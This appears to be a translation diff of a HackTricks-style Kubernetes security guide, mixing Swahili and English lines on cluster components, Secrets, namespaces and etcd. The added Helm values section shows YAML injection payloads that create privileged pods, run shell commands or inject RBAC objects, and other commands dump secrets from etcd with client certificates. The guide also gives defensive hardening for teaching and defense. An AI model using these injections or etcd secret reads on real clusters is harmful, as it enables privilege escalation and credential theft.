+- **Scheduler**: Scheduling refers to making sure that Pods are matched to Nodes so that Kubelet can run them. It has enough intelligence to decide which node has more available resources the assign the new pod to it. Note that the scheduler doesn't start new pods, it just communicate with the Kubelet process running inside the node, which will launch the new pod.
+- **Kube Controller manager**: It checks resources like replica sets or deployments to check if, for example, the correct number of pods or nodes are running. In case a pod is missing, it will communicate with the scheduler to start a new one. It controls replication, tokens, and account services to the API.
+- **etcd**: Data storage, persistent, consistent, and distributed. Is Kubernetes’s database and the key-value storage where it keeps the complete state of the clusters (each change is logged here). Components like the Scheduler or the Controller manager depends on this date to know which changes have occurred (available resourced of the nodes, number of pods running...)
+- **Cloud controller manager**: Is the specific controller for flow controls and applications, i.e: if you have clusters in AWS or OpenStack.

-Kumbuka kuwa kwa kuwa huenda kukawa na nodes kadhaa (zinazoendesha pods kadhaa), pia huenda kukawa na master processes kadhaa ambazo access yao kwa Api server imewekwa load balanced na etcd zao zimesynchronize.
+Note that as the might be several nodes (running several pods), there might also be several master processes which their access to the Api server load balanced and their etcd synchronized.

 **Volumes:**

-Wakati pod inaunda data ambayo haipaswi kupotea pod ikitoweka, inapaswa kuhifadhiwa kwenye physical volume. **Kubernetes huruhusu kuattach volume kwa pod ili kudumuisha data**. Volume inaweza kuwa kwenye local machine au kwenye **remote storage**. Ikiwa unaendesha pods kwenye physical nodes tofauti, unapaswa kutumia remote storage ili pods zote ziweze kuipata.
+When a pod creates data that shouldn't be lost when the pod disappear it should be stored in a physical volume. **Kubernetes allow to attach a volume to a pod to persist the data**. The volume can be in the local machine or in a **remote storage**. If you are running pods in different physical nodes you should use a remote storage so all the pods can access it.

-Kubernetes pia inasaidia **image volumes** katika versions za hivi karibuni. `image` volume hu-mount OCI image au artifact kama **read-only** filesystem source ndani ya Pod, kwa kutumia fields kama `volumes[].image.reference` na `volumes[].image.pullPolicy`. kubelet hu-pull artifact kwa kutumia credential sources zilezile zinazotumiwa kwa container images, ikiwemo node credentials, Pod `imagePullSecrets`, na ServiceAccount `imagePullSecrets`. Wakati wa security review, tazama image volumes kama runtime inputs na supply-chain dependencies: hakikisha reference imepinned kwa digest, ni registry credentials gani zinaweza kuipata, ime-mount wapi, na kama `subPath` inapunguza directory inayoonekana.
+Kubernetes also supports **image volumes** in recent versions. An `image` volume mounts an OCI image or artifact as a **read-only** filesystem source inside the Pod, using fields such as `volumes[].image.reference` and `volumes[].image.pullPolicy`. The kubelet pulls the artifact with the same credential sources used for container images, including node credentials, Pod `imagePullSecrets`, and ServiceAccount `imagePullSecrets`. During a security review, treat image volumes as runtime inputs and supply-chain dependencies: check whether the reference is pinned by digest, which registry credentials can fetch it, where it is mounted, and whether `subPath` limits the visible directory.

 **Other configurations:**

- **ConfigMap**: Unaweza kusanidi **URLs** za kufikia services. Pod itapata data hapa ili kujua jinsi ya kuwasiliana na rest of the services (pods). Kumbuka kuwa hii si sehemu inayopendekezwa kuhifadhi credentials!
- **Secret**: Hii ndiyo sehemu ya **kuhifadhi secret data** kama passwords, API keys... zikiwa encoded katika B64. Pod itaweza kufikia data hii ili kutumia credentials zinazohitajika.
- **Deployments**: Hapa ndipo components zinazopaswa kuendeshwa na kubernetes huonyeshwa. User kwa kawaida hafanyi kazi moja kwa moja na pods, pods hufichwa ndani ya **ReplicaSets** (idadi ya pods zinazofanana zilizorudiwa), ambazo huendeshwa kupitia deployments. Kumbuka kuwa deployments ni kwa ajili ya applications za **stateless**. Minimum configuration ya deployment ni jina na image ya kuendesha.
- **StatefulSet**: Component hii imekusudiwa mahsusi kwa applications kama **databases** ambazo zinahitaji **kufikia storage ileile**.
- **Ingress**: Hii ni configuration inayotumika **kufichua application hadharani kwa URL**. Kumbuka kuwa hili pia linaweza kufanywa kwa kutumia external services, lakini huu ndio njia sahihi ya kufichua application.
- Ukitekeleza Ingress utahitaji kuunda **Ingress Controllers**. Ingress Controller ni **pod** ambayo itakuwa endpoint itakayopokea requests na kuzikagua na kuzipa load balance kwenda kwenye services. ingress controller itakuwa **inatuma request kulingana na ingress rules zilizosanidiwa**. Kumbuka kuwa ingress rules zinaweza kuelekeza paths tofauti au hata subdomains tofauti kwenda kwa internal kubernetes services tofauti.
- Mbinu bora zaidi ya security ingekuwa kutumia cloud load balancer au proxy server kama entrypoint ili kusiwe na sehemu yoyote ya Kubernetes cluster iliyofichuliwa.
- Request isiyolingana na ingress rule yoyote ikipokelewa, ingress controller itaielekeza kwenye "**Default backend**". Unaweza `describe` ingress controller ili kupata address ya parameter hii.
+- **ConfigMap**: You can configure **URLs** to access services. The pod will obtain data from here to know how to communicate with the rest of the services (pods). Note that this is not the recommended place to save credentials!
+- **Secret**: This is the place to **store secret data** like passwords, API keys... encoded in B64. The pod will be able to access this data to use the required credentials.
+- **Deployments**: This is where the components to be run by kubernetes are indicated. A user usually won't work directly with pods, pods are abstracted in **ReplicaSets** (number of same pods replicated), which are run via deployments. Note that deployments are for **stateless** applications. The minimum configuration for a deployment is the name and the image to run.
+- **StatefulSet**: This component is meant specifically for applications like **databases** which needs to **access the same storage**.
+- **Ingress**: This is the configuration that is use to **expose the application publicly with an URL**. Note that this can also be done using external services, but this is the correct way to expose the application.
+- If you implement an Ingress you will need to create **Ingress Controllers**. The Ingress Controller is a **pod** that will be the endpoint that will receive the requests and check and will load balance them to the services. the ingress controller will **send the request based on the ingress rules configured**. Note that the ingress rules can point to different paths or even subdomains to different internal kubernetes services.
+- A better security practice would be to use a cloud load balancer or a proxy server as entrypoint to don't have any part of the Kubernetes cluster exposed.
+- When request that doesn't match any ingress rule is received, the ingress controller will direct it to the "**Default backend**". You can `describe` the ingress controller to get the address of this parameter.
 - `minikube addons enable ingress`

 ### PKI infrastructure - Certificate Authority CA:

 ![Kubernetes CA and PKI diagram showing API server certificates between clients, scheduler, controller manager, kubelet, and etcd](https://sickrov.github.io/media/Screenshot-66.jpg)

- CA ni root inayoaminika kwa certificates zote ndani ya cluster.
- Huruhusu components kuvalidate kila moja kwa nyingine.
- Certificates zote za cluster zinasainiwa na CA.
- ETCd ina certificate yake yenyewe.
+- CA is the trusted root for all certificates inside the cluster.
+- Allows components to validate to each other.
+- All cluster certificates are signed by the CA.
+- ETCd has its own certificate.
 - types:
 - apiserver cert.
 - kubelet cert.
@@ -70,7 +70,7 @@ Kubernetes pia inasaidia **image volumes** katika versions za hivi karibuni. `im

 ### Minikube

-**Minikube** inaweza kutumika kufanya baadhi ya **quick tests** kwenye kubernetes bila kuhitaji deploy ya whole kubernetes environment. Itaendesha **master na node processes kwenye machine moja**. Minikube itatumia virtualbox kuendesha node. Angalia [**hapa jinsi ya kuiinstall**](https://minikube.sigs.k8s.io/docs/start/).
+**Minikube** can be used to perform some **quick tests** on kubernetes without needing to deploy a whole kubernetes environment. It will run the **master and node processes in one machine**. Minikube will use virtualbox to run the node. See [**here how to install it**](https://minikube.sigs.k8s.io/docs/start/).
 ```
 $ minikube start
 😄  minikube v1.19.0 on Ubuntu 20.04
@@ -105,9 +105,9 @@ $ minikube delete
 🔥  Deleting "minikube" in virtualbox ...
 💀  Removed all traces of the "minikube" cluster
 ```
-### Misingi ya Kubectl
+### Kubectl Basics

-**`Kubectl`** ni zana ya mstari wa amri kwa ajili ya makundi ya kubernetes. Inawasiliana na Api server ya mchakato wa master ili kutekeleza vitendo ndani ya kubernetes au kuomba data.
+**`Kubectl`** ni zana ya command line kwa ajili ya kubernetes clusters. Inawasiliana na Api server ya master process ili kutekeleza actions katika kubernetes au kuomba data.
 ```bash
 kubectl version #Get client and server version
 kubectl get pod
@@ -155,12 +155,12 @@ http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kube
 ```
 ### Mifano ya YAML configuration files

-Kila configuration file ina sehemu 3: **metadata**, **specification** (nini kinahitaji kuanzishwa), **status** (state inayotakiwa).\
-Ndani ya specification ya deployment configuration file unaweza kupata template iliyofafanuliwa na structure mpya ya configuration inayobainisha image ya ku-run:
+Kila configuration file ina sehemu 3: **metadata**, **specification** (kile kinachohitaji kuanzishwa), **status** (desired state).\
+Ndani ya specification ya deployment configuration file unaweza kupata template iliyofafanuliwa na structure mpya ya configuration inayofafanua image ya ku-run:

-**Mfano wa Deployment + Service iliyotangazwa kwenye configuration file moja (kutoka** [**hapa**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**
+**Example of Deployment + Service declared in the same configuration file (from** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**

-Kwa kawaida service inahusiana na deployment moja, hivyo inawezekana kutangaza zote mbili kwenye configuration file moja (service iliyotangazwa kwenye config hii inapatikana tu internally):
+Kwa kawaida service inahusiana na deployment moja, hivyo inawezekana kutangaza zote mbili ndani ya same configuration file (service iliyotangazwa katika config hii inapatikana tu internally):
 ```yaml
 apiVersion: apps/v1
 kind: Deployment
@@ -209,7 +209,7 @@ targetPort: 27017
 ```
 **Mfano wa external service config**

-Huduma hii itapatikana nje (kagua sifa za `nodePort` na `type: LoadBlancer`):
+Huduma hii itapatikana externally (angalia sifa za `nodePort` na `type: LoadBlancer`):
 ```yaml
 ---
 apiVersion: v1
@@ -227,11 +227,11 @@ targetPort: 8081
 nodePort: 30000
 ```
 > [!NOTE]
-> Hii ni muhimu kwa ajili ya kupima lakini kwa production unapaswa kuwa na services za ndani pekee na Ingress ili ku-expose application.
+> Hii ni muhimu kwa majaribio lakini kwa production unapaswa kuwa na internal services pekee na Ingress ili ku-expose application.

 **Example of Ingress config file**

-Hii itafanya application ipatikane katika `http://dashboard.com`.
+Hii ita-expose application katika `http://dashboard.com`.
 ```yaml
 apiVersion: networking.k8s.io/v1
 kind: Ingress
@@ -247,9 +247,9 @@ paths:
 serviceName: kubernetes-dashboard
 servicePort: 80
 ```
-**Mfano wa faili la secrets config**
+**Mfano wa faili ya secrets config**

-Angalia jinsi passwords zimekodwa kwa B64 (ambayo si secure!)
+Angalia jinsi password zimewekwa kwa B64 (ambayo si secure!)
 ```yaml
 apiVersion: v1
 kind: Secret
@@ -262,7 +262,7 @@ mongo-root-password: cGFzc3dvcmQ=
 ```
 **Mfano wa ConfigMap**

-A **ConfigMap** ni usanidi unaopewa pods ili zijue jinsi ya kutafuta na kufikia huduma nyingine. Katika kesi hii, kila pod itajua kwamba jina `mongodb-service` ni anwani ya pod ambayo zinaweza kuwasiliana nayo (pod hii itakuwa inaendesha mongodb):
+A **ConfigMap** ni configuration inayotolewa kwa pods ili zijue jinsi ya kupata na kufikia services nyingine. Katika hali hii, kila pod itajua kwamba jina `mongodb-service` ni address ya pod ambayo inaweza kuwasiliana nayo (pod hii itakuwa inaendesha mongodb):
 ```yaml
 apiVersion: v1
 kind: ConfigMap
@@ -271,7 +271,7 @@ name: mongodb-configmap
 data:
 database_url: mongodb-service
 ```
-Kisha, ndani ya **deployment config** anwani hii inaweza kutajwa kwa njia ifuatayo ili ipakwe ndani ya env ya pod:
+Kisha, ndani ya **deployment config** anwani hii inaweza kubainishwa kwa njia ifuatayo ili ipakuliwe ndani ya env ya pod:
 ```yaml
 [...]
 spec:
@@ -299,9 +299,9 @@ Unaweza kupata mifano tofauti ya storage configuration yaml files katika [https:

 ### Namespaces

-Kubernetes inasaidia **multiple virtual clusters** zinazoungwa mkono na cluster ile ile ya physical. Hizi virtual clusters zinaitwa **namespaces**. Hizi zimekusudiwa kutumika katika mazingira yenye users wengi walio katika teams nyingi, au projects. Kwa clusters zenye users wachache hadi kadhaa, huhitaji kuunda au hata kufikiria kuhusu namespaces kabisa. Unapaswa kuanza kutumia namespaces tu ili kuwa na udhibiti na organization bora ya kila sehemu ya application iliyodeploywa katika kubernetes.
+Kubernetes inasaidia **multiple virtual clusters** zinazotumia cluster moja ya kimwili. Hizi virtual clusters huitwa **namespaces**. Hizi zimekusudiwa kutumika katika mazingira yenye watumiaji wengi waliogawanyika katika teams au projects kadhaa. Kwa clusters zilizo na watumiaji wachache hadi kadhaa, hupaswi kuhitaji kuunda au kufikiria kuhusu namespaces kabisa. Unapaswa kuanza kutumia namespaces tu ili kuwa na udhibiti na mpangilio bora wa kila sehemu ya application iliyodeployiwa katika kubernetes.

-Namespaces hutoa scope kwa names. Majina ya resources yanahitaji kuwa ya kipekee ndani ya namespace, lakini si across namespaces. Namespaces haziwezi kuwekwa kwa kuingizwa moja ndani ya nyingine na **kila** Kubernetes **resource** inaweza kuwa tu **katika** **namespace** moja.
+Namespaces hutoa scope kwa majina. Majina ya resources yanahitaji kuwa ya kipekee ndani ya namespace, lakini si kati ya namespaces. Namespaces haziwezi kuwekwa ndani ya nyingine na **kila** Kubernetes **resource** inaweza tu kuwa **katika** **namespace** moja.

 Kuna namespaces 4 kwa default ikiwa unatumia minikube:
 ```
@@ -312,7 +312,7 @@ kube-node-lease   Active   1d
 kube-public       Active   1d
 kube-system       Active   1d
 ```
- **kube-system**: Haijakusudiwa kwa watumiaji kutumia na hupaswi kuigusa. Ni ya master na michakato ya kubectl.
+- **kube-system**: Haikusudiwi au watumiaji kuitumia na hupaswi kuigusa. Ni kwa mchakato wa master na kubectl.
 - **kube-public**: Data inayopatikana hadharani. Ina configmap ambayo ina taarifa za cluster
 - **kube-node-lease**: Huamua upatikanaji wa node
 - **default**: Namespace ambayo mtumiaji atatumia kuunda resources
@@ -321,7 +321,7 @@ kube-system       Active   1d
 kubectl create namespace my-namespace
 ```
 > [!NOTE]
-> Kumbuka kwamba rasilimali nyingi za Kubernetes (k.m. pods, services, replication controllers, na zingine) ziko katika some namespaces. Hata hivyo, rasilimali nyingine kama namespace resources na low-level resources, kama vile nodes na persistenVolumes haziko katika namespace. Ili kuona ni rasilimali gani za Kubernetes zilizo na zisizo katika namespace:
+> Kumbuka kwamba rasilimali nyingi za Kubernetes (k.m. pods, services, replication controllers, na nyingine) ziko katika baadhi ya namespaces. Hata hivyo, rasilimali nyingine kama namespace resources na low-level resources, kama nodes na persistenVolumes haziko katika namespace. Ili kuona ni rasilimali zipi za Kubernetes ziko na haziko katika namespace:
 >
 > ```bash
 > kubectl api-resources --namespaced=true #In a namespace
@@ -334,29 +334,90 @@ kubectl config set-context --current --namespace=<insert-namespace-name-here>
 ```
 ### Helm

-Helm ni **package manager** ya Kubernetes. Huruhusu kupakia faili za YAML na kuzisambaza katika repositories za umma na za faragha. Packages hizi zinaitwa **Helm Charts**.
+Helm ni **package manager** kwa ajili ya Kubernetes. Inaruhusu kupakiti faili za YAML na kuzisambaza katika repositories za public na private. Pakiti hizi zinaitwa **Helm Charts**.
 ```
 helm search <keyword>
 ```
-Helm is also a template engine that allows to generate config files with variables:
+Helm pia ni template engine inayoruhusu kutengeneza config files kwa kutumia variables:
+
+### Helm `.Values` YAML injection
+
+Ikiwa chart inaingiza **attacker-controlled values** moja kwa moja ndani ya YAML, Helm itazi**render** kama raw YAML content isipokuwa template iwe imeziquote, kuzibadilisha, au kuzi validate waziwazi. Hii ni hatari sana katika mazingira ya **GitOps** (kwa mfano na **ArgoCD**) ambapo developers wanaruhusiwa tu kubadilisha `values.yaml` na chart inachukuliwa kuwa trusted.
+
+**Typical vulnerable patterns:**
+```yaml
+spec:
+replicas: {{ .Values.replicaCount }}
+...
+image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
+```
+Ikiwa mshambuliaji anaweza kudhibiti hizo thamani, wanaweza kutumia YAML multiline scalars (`|` au `|-`) kuvunja **muktadha unaotarajiwa**, kuingiza **new fields** katika kiwango sahihi cha indentation, na hata kuingiza **new YAML documents** kwa `---`.
+
+### Exploitation ideas
+
+- **Field injection** from scalar-looking values:
+```yaml
+replicaCount: |
+3
+injectedAttribute: true
+```
+Hii inaweza kubadilisha field inayoonekana ya nambari kuwa manifest attributes za ziada.
+
+- **Quoted-context breakout** ili kuingiza container attributes kama `command`, `args`, au `securityContext`:
+```yaml
+image:
+tag: |-
+1.0.0"
+securityContext:
+privileged: true
+command: ["/bin/sh", "-c"]
+args: ["id"]
+```
+- **Arbitrary object injection** kwa kuunda hati za ziada za YAML kwa `---`, ambayo inaweza kuunda resources kama `Namespace`, `Pod`, `Role`, `ClusterRole`, `RoleBinding`, au `ClusterRoleBinding` ikiwa service account ya Helm/ArgoCD inaruhusiwa kuzitengeneza. Hii inaunganisha moja kwa moja na [RBAC abuse](kubernetes-role-based-access-control-rbac.md), [abusing dangerous roles](abusing-roles-clusterroles-in-kubernetes/), na [namespace pivoting](kubernetes-namespace-escalation.md).
+
+> [!WARNING]
+> Udhibiti juu ya `values.yaml` kwenye chart yenye udhaifu unaweza kuwa **arbitrary workload creation**, **command execution inside Pods**, **privileged Pod deployment**, na wakati mwingine **cluster compromise**.
+
+### Helm v3 vs Helm v4
+
+- **Helm v3** inaweza kukubali injected unknown fields mradi tu output ya mwisho iliyotolewa iwe YAML sahihi.
+- **Helm v4** hutumia **Server-Side Apply** kwa default na hukataa fields kadhaa zisizo sahihi dhidi ya schema ya Kubernetes.
+- Hata hivyo, **Helm v4 haimalizi kabisa tatizo**: mshambuliaji bado anaweza kuingiza **valid resources kwanza** na kuambatisha final invalid object ili kufunika context iliyoharibika, hivyo valid resources zilizodungwa hapo awali bado huundwa.
+
+### Defensive patterns
+
+Chukulia kila Helm value kama **untrusted input**:
+```yaml
+image: {{ printf "%s:%s" .Values.image.repository .Values.image.tag | quote }}
+replicas: {{ .Values.replicaCount | int }}
+{{- if not (regexMatch "^(latest|1\.1|dev)$" .Values.image.tag) }}
+{{- fail "invalid image.tag" }}
+{{- end }}
+```
+Additional hardening:
+
+- Use `values.schema.json` to enforce **types**, **required keys**, and **regex patterns** during `helm template`, `helm install`, `helm upgrade`, and `helm lint`.
+- In **ArgoCD**, restrict the kinds an application can create via `AppProject` rules such as `clusterResourceWhitelist`, and prefer **namespace-scoped** ArgoCD permissions whenever possible.
+- Use **ValidatingAdmissionPolicy** / **ValidatingAdmissionPolicyBinding**, Kyverno, or Gatekeeper rules to block dangerous outputs such as **privileged Pods** even if rendering was compromised.
+- If a target namespace is protected by Pod Security controls, check whether the attacker can inject a **new namespace** where those controls do not apply, then use the new workload for [pod escape](abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md) or further [post-compromise attacks from inside a pod](attacking-kubernetes-from-inside-a-pod.md).

 ## Kubernetes secrets

-A **Secret** is an object that **contains sensitive data** such as a password, a token or a key. Such information might otherwise be put in a Pod specification or in an image. Users can create Secrets and the system also creates Secrets. The name of a Secret object must be a valid **DNS subdomain name**. Read here [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/).
+A **Secret** ni object inayobeba data nyeti kama vile password, token, au key. Taarifa kama hizo vinginevyo zinaweza kuwekwa kwenye Pod specification au kwenye image. Users wanaweza ku-create Secrets na system pia hu-create Secrets. Jina la Secret object lazima liwe valid **DNS subdomain name**. Soma hapa [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/).

-Secrets might be things like:
+Secrets zinaweza kuwa vitu kama:

 - API, SSH Keys.
 - OAuth tokens.
- Credentials, Passwords (plain text or b64 + encryption).
- Information or comments.
+- Credentials, Passwords (plain text au b64 + encryption).
+- Information au comments.
 - Database connection code, strings… .

-There are different types of secrets in Kubernetes
+Kuna aina tofauti za secrets katika Kubernetes

 | Builtin Type                        | Usage                                     |
-| ----------------------------------- | ----------------------------------------- |
-| **Opaque**                          | **arbitrary user-defined data (Default)** |
+| ----------------------------------------- | ----------------------------------------- |
+| **Opaque**                        | **arbitrary user-defined data (Default)** |
 | kubernetes.io/service-account-token | service account token                     |
 | kubernetes.io/dockercfg             | serialized \~/.dockercfg file             |
 | kubernetes.io/dockerconfigjson      | serialized \~/.docker/config.json file    |
@@ -366,13 +427,13 @@ There are different types of secrets in Kubernetes
 | bootstrap.kubernetes.io/token       | bootstrap token data                      |

 > [!NOTE]
-> **The Opaque type is the default one, the typical key-value pair defined by users.**
+> **Aina ya Opaque ndiyo default, kawaida ikiwa ni key-value pair iliyofafanuliwa na users.**

-**How secrets works:**
+**Jinsi secrets zinavyofanya kazi:**

 ![Kubernetes secrets diagram showing secret data reaching the API server and being consumed by a pod](https://sickrov.github.io/media/Screenshot-164.jpg)

-The following configuration file defines a **secret** called `mysecret` with 2 key-value pairs `username: YWRtaW4=` and `password: MWYyZDFlMmU2N2Rm`. It also defines a **pod** called `secretpod` that will have the `username` and `password` defined in `mysecret` exposed in the **environment variables** `SECRET_USERNAME` \_\_ and \_\_ `SECRET_PASSWOR`. It will also **mount** the `username` secret inside `mysecret` in the path `/etc/foo/my-group/my-username` with `0640` permissions.
+The following configuration file defines a **secret** called `mysecret` with 2 key-value pairs `username: YWRtaW4=` na `password: MWYyZDFlMmU2N2Rm`. Pia ina define **pod** inayoitwa `secretpod` ambayo itakuwa na `username` na `password` zilizoainishwa katika `mysecret` zikiwa exposed kwenye **environment variables** `SECRET_USERNAME` \_\_ na \_\_ `SECRET_PASSWOR`. Pia itafanya **mount** ya secret ya `username` ndani ya `mysecret` kwenye path `/etc/foo/my-group/my-username` kwa permissions za `0640`.
 ```yaml:secretpod.yaml
 apiVersion: v1
 kind: Secret
@@ -422,19 +483,19 @@ kubectl get pods #Wait until the pod secretpod is running
 kubectl exec -it  secretpod -- bash
 env | grep SECRET && cat /etc/foo/my-group/my-username && echo
 ```
-### Siri fiche ndani ya etcd <a href="#discover-secrets-in-etcd" id="discover-secrets-in-etcd"></a>
+### Siri katika etcd <a href="#discover-secrets-in-etcd" id="discover-secrets-in-etcd"></a>

-**etcd** ni **key-value store** yenye uthabiti na upatikanaji wa juu inayotumika kama backing store ya Kubernetes kwa data yote ya cluster. Hebu tufikie siri zilizohifadhiwa ndani ya etcd:
+**etcd** ni **key-value store** yenye consistency na upatikanaji wa juu inayotumika kama backing store ya Kubernetes kwa data zote za cluster. Hebu tufikie secrets zilizohifadhiwa katika etcd:
 ```bash
 cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd
 ```
-Utaona certs, keys na urls zilipo kwenye FS. Ukizipata, utaweza kuunganika na etcd.
+Utaona certs, keys na url’s ziko kwenye FS. Ukizipata, utaweza kuconnect kwa etcd.
 ```bash
 #ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] health

 ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] health
 ```
-Mara unapofanikiwa kuanzisha mawasiliano utaweza kupata secrets:
+Mara tu unapofanikiwa kuanzisha mawasiliano, utaweza kupata secrets:
 ```bash
 #ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] get <path/to/secret>

@@ -442,7 +503,7 @@ ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key
 ```
 **Kuongeza encryption kwenye ETCD**

-Kwa chaguo-msingi, secrets zote huhifadhiwa katika maandishi ya kawaida ndani ya etcd isipokuwa utumie encryption layer. Mfano ufuatao unategemea [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)
+Kwa chaguo-msingi, siri zote huhifadhiwa katika maandishi wazi ndani ya etcd isipokuwa utumie encryption layer. Mfano ufuatao unategemea [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)
 ```yaml:encryption.yaml
 apiVersion: apiserver.config.k8s.io/v1
 kind: EncryptionConfiguration
@@ -456,7 +517,7 @@ keys:
 secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
 - identity: {}
 ```
-Baada ya hapo, unahitaji kuweka bendera ya `--encryption-provider-config` kwenye `kube-apiserver` ili ielekeze kwenye eneo la faili ya config iliyoundwa. Unaweza kurekebisha `/etc/kubernetes/manifest/kube-apiserver.yaml` na kuongeza mistari ifuatayo:
+Baada ya hapo, unahitaji kuweka bendera ya `--encryption-provider-config` kwenye `kube-apiserver` ili ielekeze kwenye mahali pa faili ya config iliyoundwa. Unaweza kurekebisha `/etc/kubernetes/manifest/kube-apiserver.yaml` na kuongeza mistari ifuatayo:
 ```yaml
 containers:
 - command:
@@ -469,16 +530,16 @@ Sogeza chini katika volumeMounts:
 name: etcd
 readOnly: true
 ```
-Tembea chini katika volumeMounts hadi hostPath:
+Skrolli chini kwenye volumeMounts hadi hostPath:
 ```yaml
 - hostPath:
 path: /etc/kubernetes/etcd
 type: DirectoryOrCreate
 name: etcd
 ```
-**Kuthibitisha kwamba data imecryptwa**
+**Kuthibitisha kwamba data imefichwa**

-Data imecryptwa inapowekwa kwenye etcd. Baada ya kuwasha upya `kube-apiserver` yako, secret yoyote mpya iliyoundwa au kusasishwa inapaswa kuwa imecryptwa inapohifadhiwa. Ili kuangalia, unaweza kutumia programu ya mstari wa amri `etcdctl` kupata yaliyomo ya secret yako.
+Data hufichwa inapokuwa imeandikwa kwenye etcd. Baada ya kuwasha upya `kube-apiserver` yako, secret yoyote mpya iliyoundwa au kusasishwa inapaswa kufichwa inapohifadhiwa. Ili kuangalia, unaweza kutumia programu ya mstari wa amri `etcdctl` kupata yaliyomo ya secret yako.

 1.  Unda secret mpya inayoitwa `secret1` katika namespace `default`:

@@ -486,33 +547,33 @@ Data imecryptwa inapowekwa kwenye etcd. Baada ya kuwasha upya `kube-apiserver` y
 kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
 ```

-2.  Kwa kutumia commandline ya etcdctl, soma secret hiyo kutoka etcd:
+2.  Kwa kutumia mstari wa amri wa etcdctl, soma secret hiyo kutoka kwenye etcd:

 `ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`

-ambapo `[...]` lazima iwe hoja za ziada za kuunganisha na server ya etcd.
+ambapo `[...]` lazima iwe hoja za ziada za kuunganishwa na seva ya etcd.

-3.  Hakikisha secret iliyohifadhiwa ina kiambishi awali `k8s:enc:aescbc:v1:` ambacho kinaonyesha provider `aescbc` amecrypt data iliyotokana.
-4.  Hakikisha secret imedecryptwa ipasavyo inapopatikana kupitia API:
+3.  Thibitisha kwamba secret iliyohifadhiwa inaanza na `k8s:enc:aescbc:v1:` ambayo inaonyesha kuwa provider `aescbc` ameficha data inayotokana.
+4.  Thibitisha kuwa secret inadefiniwa kwa usahihi inapopatikana kupitia API:

 ```
 kubectl describe secret secret1 -n default
 ```

-inapaswa kufanana na `mykey: bXlkYXRh`, mydata imeencoded, angalia [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) ili ku-decode kabisa secret.
+inapaswa kufanana na `mykey: bXlkYXRh`, mydata imekodishwa, angalia [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) ili kuifungua secret kikamilifu.

-**Kwa kuwa secrets hucryptwa wakati wa kuandika, kufanya update kwenye secret kutacrypt content hiyo:**
+**Kwa kuwa secrets hufichwa wakati wa kuandikwa, kufanya update kwenye secret kutaficha content hiyo:**
 ```
 kubectl get secrets --all-namespaces -o json | kubectl replace -f -
 ```
 **Vidokezo vya mwisho:**

- Jaribu kutohifadhi secrets ndani ya FS, zipate kutoka sehemu zingine.
- Angalia [https://www.vaultproject.io/](https://www.vaultproject.io) kwa kuongeza ulinzi zaidi kwa secrets zako.
+- Jaribu kutohifadhi secrets kwenye FS, zipate kutoka sehemu nyingine.
+- Angalia [https://www.vaultproject.io/](https://www.vaultproject.io) ili kuongeza ulinzi kwa secrets zako.
 - [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks)
 - [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm)

-## References
+## Marejeo

 {{#ref}}
 https://sickrov.github.io/
@@ -522,12 +583,13 @@ https://sickrov.github.io/
 https://www.youtube.com/watch?v=X48VuDVv0do
 {{#endref}}

-{{#ref}}
-https://kubernetes.io/docs/concepts/storage/volumes/#image
-{{#endref}}
-
-{{#ref}}
-https://kubernetes.io/docs/tasks/configure-pod-container/image-volumes/
-{{#endref}}
+- [Charting your way in: Helm template injection](https://synacktiv.com/en/publications/charting-your-way-in-helm-template-injection.html)
+- [Helm template functions and pipelines](https://helm.sh/docs/chart_template_guide/functions_and_pipelines/)
+- [Helm chart schema files (`values.schema.json`)](https://helm.sh/docs/topics/charts/#schema-files)
+- [Argo CD projects (`AppProject` restrictions)](https://argo-cd.readthedocs.io/en/latest/user-guide/projects/)
+- [Argo CD multiple sources / external Helm value files](https://argo-cd.readthedocs.io/en/latest/user-guide/multiple_sources/#helm-value-files-from-external-git-repository)
+- [Kubernetes ValidatingAdmissionPolicy](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
+- [https://kubernetes.io/docs/concepts/storage/volumes/#image](https://kubernetes.io/docs/concepts/storage/volumes/#image)
+- [https://kubernetes.io/docs/tasks/configure-pod-container/image-volumes/](https://kubernetes.io/docs/tasks/configure-pod-container/image-volumes/)

 {{#include ../../banners/hacktricks-training.md}}